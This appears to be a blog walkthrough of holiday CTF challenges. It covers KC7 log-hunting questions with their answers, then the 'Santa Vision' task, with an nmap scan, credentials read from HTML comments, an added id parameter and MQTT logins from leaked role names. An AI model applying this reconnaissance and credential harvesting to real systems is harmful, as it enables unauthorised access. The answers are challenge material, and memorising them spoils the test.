“Operation Surrender”. You have to encode the last solution keylogger.exe

Solution:
a2V5bG9nZ2VyLmV4ZQ==
Enter this solution for part two in the Microsoft KC7 challenge “Operation Surrender”:

The last question for level 2

Just enter
snowfall

This finished level 2. Time to start level 3!

In contrast to the last level, level 3 is now about attacks against Team Alabaster. It starts with the task to find the root of a password spraying against this team.

Let’s just use the snippet

So the source IP is:
59.171.58.12
In the next question you have to identify into how many accounts were logged into successfully from the attacker IP

If you check the AuthenticationEvents table you can see that there is a column which
stores successful logins

Let’s check for the given IP 59.171.58.12 and list the hostnames connected to those successful logins

You now only have to count the hostnames together

19
Mm, this didn’t work for me. Ah, it’s not hostname it has to be username! Reason is because at each hostname you can perhaps have multiple users who can log in. Let’s try that

This worked! The solution is:
23
The next task is about identifying a service externally available which was misused.

First I thought perhaps this can be identified using InboundNetworkEvents and the aforementioned
attacker source ip.

But to no avail. Next I focused on ProcessEvents and search the parent processes I could find

Oh, this is not so much! I wanted to analyze the services, so I thought services.exe or sc.exe
is probably correct. I used that to filter for the underlying processes started:

This also lead to a dead end.
Finally, I came back to the AuthenticationEvents table from the task before and looked a deeper into it there.
If you inspect the column description it carefully you can see that RDP was used.

So this is the answer for the current question.

Ok, your task is to find this exfiltrated file! What is the username for Alabaster`s laptop:

In the description there is a hint that says that you can narrow down the events using the timestamp. I took the time around the results from the last solution

This yields to the solution:
Secret_Files.zip

So now the task is to find the file which encrypted the device. For this you can use the same query from the last question

Solution:
EncryptEverything.exe
In the next step you can catch the next flag and accomplish the third question “Operation Snowfall” for the Microsoft KC7 challenge.

Solution:
RW5jcnlwdEV2ZXJ5dGhpbmcuZXhl

The fourth part starts with a simple string to enter
Solution:
stay frosty
This part starts to look into Emails from Noel Boetie

Solution:
2024-12-12T14:48:55Z
You have to check when Noel clicked the link. For that you first need to identify the link and afterward can analyze the time linked to that.

The link in the email is:
https://holidaybargainhunt.io/published/files/files/echo.exe
The corresponding table to connect is OutboundNetworkEvents

Solution:
2024-12-12T15:13:55Z

Ok. To get the IP you can use the table PassiveDns. Passive DNS are historical DNS logs which you can
use to analyze incidents.

Solution:
182.56.23.122

This time you use the IP from the attacker server before to check if it was also used
to log in into the victim system. This could be if it was just one Kali server for example.
Let’s use the AuthenticationEvents table as mentioned.

Solution:
WebApp-ElvesWorkshop
is the hostname in which the IP has logged in.

So now we know the hostname which was probably initially compromised.
If you look in the ProcessEvents table for it, you get 8 entries

Solution:
Invoke-Mimikatz.ps1

If you look deeper in the ProcessEvents you can extract that the executed file was echo.exe.
And the first time this was executed is

Solution:
2024-12-12T15:14:38Z
Oh, this was it for level 3!

Let’s start level 4 :)

Mm, domain …
The table OutboundNetworkEvents has a column url which contains all the urls
the users tried to reach from outside.

So the solution is:
compromisedchristmastoys.com

Remember from questions 2-4 it was Noel Boetie who first clicked the phishing link.
So lets first inspect which processes ran at this user which had this file frosty.zip used:

We can use the timestamp to look what happened in this time range

Solution:
sqlwriter.exe
The solution can be extracted from the same log entry as the last answer


Solution:
frosty

Hey let’s get the badge for the complete module :)

Solution:
ZnJvc3R5

This is also the final solution for the fourth part in the Microsoft KC7 challenge “Echoes in the Frost”:

After you enter the solution you will have gold in the Microsoft KC7 challenge:

Next I moved to Act III
Act III
Entering Act III a lot of new objectives get unlocked

And Santa appears and he seems to be very angry :)

Santa Vision

If you go a little bit you come to Ribb Bonbowford:

The goals are

Ribb also delivers you with some hints

So this is a repo about a tool to analyze the file system jffs called jefferson

The technology used in this task seems to be MQTT
If you open the application

There is a small crocodile in the lower right corner to click


The first link goes to

In this description the link GateXOR opens:
https://www.youtube.com/watch?v=6JXRHZsV9u0
The video there plays the american pronounciation of “gator”:


The second link “Time Travel” opens a console and starts a server:

If you scan this target you get
➜ santavision sudo nmap -A 34.135.21.17
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-22 03:21 CET
Nmap scan report for 17.21.135.34.bc.googleusercontent.com (34.135.21.17)
Host is up (0.13s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 a9:29:8e:6b:08:91:72:8a:cb:d1:e8:d4:f4:af:5f:c2 (ECDSA)
|_ 256 f0:f8:c0:5e:5c:c0:bb:81:99:34:0f:47:35:10:23:f7 (ED25519)
8000/tcp open http-alt gunicorn
|_http-title: Santa Vision
|_http-server-header: gunicorn
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 NOT FOUND
| Server: gunicorn
| Date: Sun, 22 Dec 2024 02:21:53 GMT
| Connection: close
| Content-Type: text/html; charset=utf-8
| Content-Length: 1820
| Vary: Cookie
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Santa Vision</title>
| <!-- meta -->
| <meta name="description" content="">
| <meta name="author" content="">
| <meta name="viewport" content="width=device-width,initial-scale=1">
| <!-- styles -->
| <!-- CSS only -->
| <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.0/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-gH2yIJqKdNHPEq0n4Mqa/HGKIhSkIHeL5AyhkYV8i59U5AR6csBvApHHNl/vI1Bx" crossorigin="anonymous">
| <link rel="stylesheet" href="/static/css/styles.css">
| </head>
| <body>
| <!-- Navigation -->
| <header class="p-3 mb-3 text-bg-dark">
| <div class="container">
| <div class="d-flex flex-
| GenericLines:
| HTTP/1.1 400 Bad Request
| Connection: close
| Content-Type: text/html
| Content-Length: 193
| <html>
| <head>
| <title>Bad Request</title>
| </head>
| <body>
| <h1><p>Bad Request</p></h1>
| Invalid Request Line 'Invalid HTTP request line: '''
| </body>
| </html>
| GetRequest:
| HTTP/1.0 200 OK
| Server: gunicorn
| Date: Sun, 22 Dec 2024 02:21:48 GMT
| Connection: close
| Content-Type: text/html; charset=utf-8
| Content-Length: 2946
| Vary: Cookie
| Set-Cookie: svCookie=-_GrbgUMaRrs_KzAshOPFe4OztUSHnx-Y38to7B2mbg; Expires=Wed, 22 Jan 2025 02:21:48 GMT; HttpOnly; Path=/
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Santa Vision</title>
| <!-- meta -->
| <meta name="description" content="">
| <meta name="author" content="">
| <meta name="viewport" content="width=device-width,initial-scale=1">
| <!-- styles -->
| <!-- CSS only -->
| <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.0/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-gH2yIJqKdNHPEq0n4Mqa/HGKIhSkIHeL5AyhkYV8i59U5AR6csBvApHHNl/vI1Bx" crossorigin="anonymous">
| <link rel="stylesheet" href="/static/css/styles.css">
| </head>
|_ <body>
9001/tcp open tor-orport?
| fingerprint-strings:
| JavaRMI, Radmin, SSLSessionReq, SSLv23SessionReq, TLSSessionReq, mongodb, tarantool:
| HTTP/1.0 403 Forbidden
| content-type: text/html
| content-length: 173
|_ <html><head><meta charset=utf-8 http-equiv="Content-Language" content="en"/><link rel="stylesheet" type="text/css" href="/error.css"/></head><body><h1>403</h1></body></html>
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8000-TCP:V=7.94SVN%I=7%D=12/22%Time=676777BB%P=x86_64-pc-linux-gnu%
SF:r(GenericLines,11E,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x
SF:20close\r\nContent-Type:\x20text/html\r\nContent-Length:\x20193\r\n\r\n
SF:<html>\n\x20\x20<head>\n\x20\x20\x20\x20<title>Bad\x20Request</title>\n
SF:\x20\x20</head>\n\x20\x20<body>\n\x20\x20\x20\x20<h1><p>Bad\x20Request<
SF:/p></h1>\n\x20\x20\x20\x20Invalid\x20Request\x20Line\x20'Invalid\x
SF:20HTTP\x20request\x20line:\x20'''\n\x20\x20</body>\n</ht
SF:ml>\n")%r(GetRequest,CA6,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicorn
SF:\r\nDate:\x20Sun,\x2022\x20Dec\x202024\x2002:21:48\x20GMT\r\nConnection
SF::\x20close\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-L
SF:ength:\x202946\r\nVary:\x20Cookie\r\nSet-Cookie:\x20svCookie=-_GrbgUMaR
SF:rs_KzAshOPFe4OztUSHnx-Y38to7B2mbg;\x20Expires=Wed,\x2022\x20Jan\x202025
SF:\x2002:21:48\x20GMT;\x20HttpOnly;\x20Path=/\r\n\r\n<!DOCTYPE\x20html>\n
SF:<html\x20lang=\"en\">\n\x20\x20<head>\n\x20\x20\x20\x20<meta\x20charset
SF:=\"utf-8\">\n\x20\x20\x20\x20<title>Santa\x20Vision</title>\n\x20\x20\x
SF:20\x20<!--\x20meta\x20-->\n\x20\x20\x20\x20<meta\x20name=\"description\
SF:"\x20content=\"\">\n\x20\x20\x20\x20<meta\x20name=\"author\"\x20content
SF:=\"\">\n\x20\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=d
SF:evice-width,initial-scale=1\">\n\x20\x20\x20\x20<!--\x20styles\x20-->\n
SF:\x20\x20\x20\x20<!--\x20CSS\x20only\x20-->\n\x20\x20\x20\x20<link\x20hr
SF:ef=\"https://cdn\.jsdelivr\.net/npm/bootstrap@5\.2\.0/dist/css/bootstra
SF:p\.min\.css\"\x20rel=\"stylesheet\"\x20integrity=\"sha384-gH2yIJqKdNHPE
SF:q0n4Mqa/HGKIhSkIHeL5AyhkYV8i59U5AR6csBvApHHNl/vI1Bx\"\x20crossorigin=\"
SF:anonymous\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/st
SF:atic/css/styles\.css\">\n\x20\x20\x20\x20\n\x20\x20</head>\n\x20\x20<bo
SF:dy>\n\x20")%r(FourOhFourRequest,7CC,"HTTP/1\.0\x20404\x20NOT\x20FOUND\r
SF:\nServer:\x20gunicorn\r\nDate:\x20Sun,\x2022\x20Dec\x202024\x2002:21:53
SF:\x20GMT\r\nConnection:\x20close\r\nContent-Type:\x20text/html;\x20chars
SF:et=utf-8\r\nContent-Length:\x201820\r\nVary:\x20Cookie\r\n\r\n<!DOCTYPE
SF:\x20html>\n<html\x20lang=\"en\">\n\x20\x20<head>\n\x20\x20\x20\x20<meta
SF:\x20charset=\"utf-8\">\n\x20\x20\x20\x20<title>Santa\x20Vision</title>\
SF:n\x20\x20\x20\x20<!--\x20meta\x20-->\n\x20\x20\x20\x20<meta\x20name=\"d
SF:escription\"\x20content=\"\">\n\x20\x20\x20\x20<meta\x20name=\"author\"
SF:\x20content=\"\">\n\x20\x20\x20\x20<meta\x20name=\"viewport\"\x20conten
SF:t=\"width=device-width,initial-scale=1\">\n\x20\x20\x20\x20<!--\x20styl
SF:es\x20-->\n\x20\x20\x20\x20<!--\x20CSS\x20only\x20-->\n\x20\x20\x20\x20
SF:<link\x20href=\"https://cdn\.jsdelivr\.net/npm/bootstrap@5\.2\.0/dist/c
SF:ss/bootstrap\.min\.css\"\x20rel=\"stylesheet\"\x20integrity=\"sha384-gH
SF:2yIJqKdNHPEq0n4Mqa/HGKIhSkIHeL5AyhkYV8i59U5AR6csBvApHHNl/vI1Bx\"\x20cro
SF:ssorigin=\"anonymous\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x2
SF:0href=\"/static/css/styles\.css\">\n\x20\x20\x20\x20\n\x20\x20</head>\n
SF:\x20\x20<body>\n\x20\x20\x20\x20<!--\x20Navigation\x20-->\n<header\x20c
SF:lass=\"p-3\x20mb-3\x20text-bg-dark\">\n\x20\x20<div\x20class=\"containe
SF:r\">\n\x20\x20\x20\x20<div\x20class=\"d-flex\x20flex-");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port9001-TCP:V=7.94SVN%I=7%D=12/22%Time=676777BC%P=x86_64-pc-linux-gnu%
SF:r(SSLSessionReq,F5,"HTTP/1\.0\x20403\x20Forbidden\r\ncontent-type:\x20t
SF:ext/html\r\ncontent-length:\x20173\r\n\r\n<html><head><meta\x20charset=
SF:utf-8\x20http-equiv=\"Content-Language\"\x20content=\"en\"/><link\x20re
SF:l=\"stylesheet\"\x20type=\"text/css\"\x20href=\"/error\.css\"/></head><
SF:body><h1>403</h1></body></html>")%r(TLSSessionReq,F5,"HTTP/1\.0\x20403\
SF:x20Forbidden\r\ncontent-type:\x20text/html\r\ncontent-length:\x20173\r\
SF:n\r\n<html><head><meta\x20charset=utf-8\x20http-equiv=\"Content-Languag
SF:e\"\x20content=\"en\"/><link\x20rel=\"stylesheet\"\x20type=\"text/css\"
SF:\x20href=\"/error\.css\"/></head><body><h1>403</h1></body></html>")%r(S
SF:SLv23SessionReq,F5,"HTTP/1\.0\x20403\x20Forbidden\r\ncontent-type:\x20t
SF:ext/html\r\ncontent-length:\x20173\r\n\r\n<html><head><meta\x20charset=
SF:utf-8\x20http-equiv=\"Content-Language\"\x20content=\"en\"/><link\x20re
SF:l=\"stylesheet\"\x20type=\"text/css\"\x20href=\"/error\.css\"/></head><
SF:body><h1>403</h1></body></html>")%r(JavaRMI,F5,"HTTP/1\.0\x20403\x20For
SF:bidden\r\ncontent-type:\x20text/html\r\ncontent-length:\x20173\r\n\r\n<
SF:html><head><meta\x20charset=utf-8\x20http-equiv=\"Content-Language\"\x2
SF:0content=\"en\"/><link\x20rel=\"stylesheet\"\x20type=\"text/css\"\x20hr
SF:ef=\"/error\.css\"/></head><body><h1>403</h1></body></html>")%r(Radmin,
SF:F5,"HTTP/1\.0\x20403\x20Forbidden\r\ncontent-type:\x20text/html\r\ncont
SF:ent-length:\x20173\r\n\r\n<html><head><meta\x20charset=utf-8\x20http-eq
SF:uiv=\"Content-Language\"\x20content=\"en\"/><link\x20rel=\"stylesheet\"
SF:\x20type=\"text/css\"\x20href=\"/error\.css\"/></head><body><h1>403</h1
SF:></body></html>")%r(mongodb,F5,"HTTP/1\.0\x20403\x20Forbidden\r\nconten
SF:t-type:\x20text/html\r\ncontent-length:\x20173\r\n\r\n<html><head><meta
SF:\x20charset=utf-8\x20http-equiv=\"Content-Language\"\x20content=\"en\"/
SF:><link\x20rel=\"stylesheet\"\x20type=\"text/css\"\x20href=\"/error\.css
SF:\"/></head><body><h1>403</h1></body></html>")%r(tarantool,F5,"HTTP/1\.0
SF:\x20403\x20Forbidden\r\ncontent-type:\x20text/html\r\ncontent-length:\x
SF:20173\r\n\r\n<html><head><meta\x20charset=utf-8\x20http-equiv=\"Content
SF:-Language\"\x20content=\"en\"/><link\x20rel=\"stylesheet\"\x20type=\"te
SF:xt/css\"\x20href=\"/error\.css\"/></head><body><h1>403</h1></body></htm
SF:l>");
Aggressive OS guesses: HP P2000 G3 NAS device (93%), Linux 2.6.32 (92%), Linux 2.6.32 - 3.1 (92%), Infomir MAG-250 set-top box (92%), Ubiquiti AirMax NanoStation WAP (Linux 2.6.32) (92%), Linux 3.7 (92%), Linux 5.0 (92%), Linux 5.0 - 5.4 (92%), Linux 5.1 (92%), Ubiquiti AirOS 5.5.9 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 7 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
...
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 152.56 seconds
Let’s check the http port 8000:

If you open the developer tools you can find the credentials in the comments:

So the solution for Santa Vision A is
elfanon

Let’s target Santa Vision B. If you login you see

The url is something like http://34.60.146.232:8000/auth?username=a&pwd=a&server=a&port=a.
If you intercept this with something like Burp Suite you get

If you add id parameter

So there the id parameter missing. In the url you can add something like &id=1 at the end of the url and you get:

If you click at the bottom right you see availables roles

- SiteDefaultPasswordRole
- SiteElfMonitorRole
- SiteAlabsterSAdminRole
- SiteWomblyCAdminRole
And if you click left you see available clients

- elfmonitor
- WomblyC
- AlabasterS
Another port opened is ssh, I tried just to login with the same user like in http, but a private key is needed:

Let’s recap what we have to focus for:

There is a button “Power On Monitors”

And a logout button

After a really long search, I found out that the credentials for the MQTT connection are located in the previously displayed clients and roles:
- *elfmonitor*
- WomblyC
- AlabasterS
- SiteDefaultPasswordRole
- *SiteElfMonitorRole*
- SiteAlabsterSAdminRole
- SiteWomblyCAdminRole
So the solution for Santa Vision B is:

elfmonitor
If you talk to Ribb Bonbowford after that:

This gives a new hint:

To power on the monitors let’s use the password found in the roles:

Connect As: elfmonitor
Password: SiteElfMonitorRole
Enter the IP from the Time Travel before in Camera Feed Server. This is also the IP from the MQTT server.
For Camera Feed Port look at the nmap output, it’s 9001 for the MQTT server.
You should now could read Monitors on. Connect to the broadcast feed

Let’s connect to northpolefeeds as mentioned in the text to Santa Vision B:

The picture now shown are as follows:


So this seems to be advertising for the two combating parts. What’s written in the next challenge of Santa Vision?

Ok, then let’s do that!
For that proceed the same way as above, click to “Connect to broadcast feed” and
as value set frostbitfeed as Broadcast feed:

This yields to output of frostbitfeed whose messages look like this:
Frostbite is a serious condition that can cause permanent damage to the body and/or network
Frostbit is a leading cause of network downtime
Frostbite can be prevented by using a firewall and keeping your network secure
While good backups are important, they won't prevent frostbite
To prevent frostbite, you should wear appropriate clothing and cover exposed skin and ports
Be sure everyone knows the signs and symptoms of frostbite
Frostbite can occur in as little as 30 minutes in extreme cold - faster in flat networks
Additional messages available in santafeed
Error msg: Unauthorized access attempt. /api/v1/frostbitadmin/bot/<botuuid>/deactivate, authHeader: X-API-Key, status: Invalid Key, alert: Warning, recipient: Wombley
Do you conduct regular frostbite preparedness exercises?
Let's Encrypt cert for api.frostbit.app verified. at path /etc/nginx/certs/api.frostbit.app.key
This gives a hint to another feed in on of the messages: santafeed.
Let’s look into that:

Gathered this is:
Santa is making his list.
Santa is checking his list.
Santa role: superadmin
WombleyC role: admin
AlabasterS role: admin
Sixteen elves launched operation: Idemcerybu
singleAdminMode=false
Santa role: superadmin
superAdminMode=true
Santa is on his way to the North Pole
If you look very carefully you can read Sixteen elves launched operation: Idemcerybu.
So the secret operation asked in for Santa Vision C is
Idemcerybu

The next part of the challenge is:

Perhaps talk to Ribb Bonbowford again:

He says: “-send the right message, and Santa’s true spirit will return”. So we have to send something, which means in MQTT terms we have to publish something.

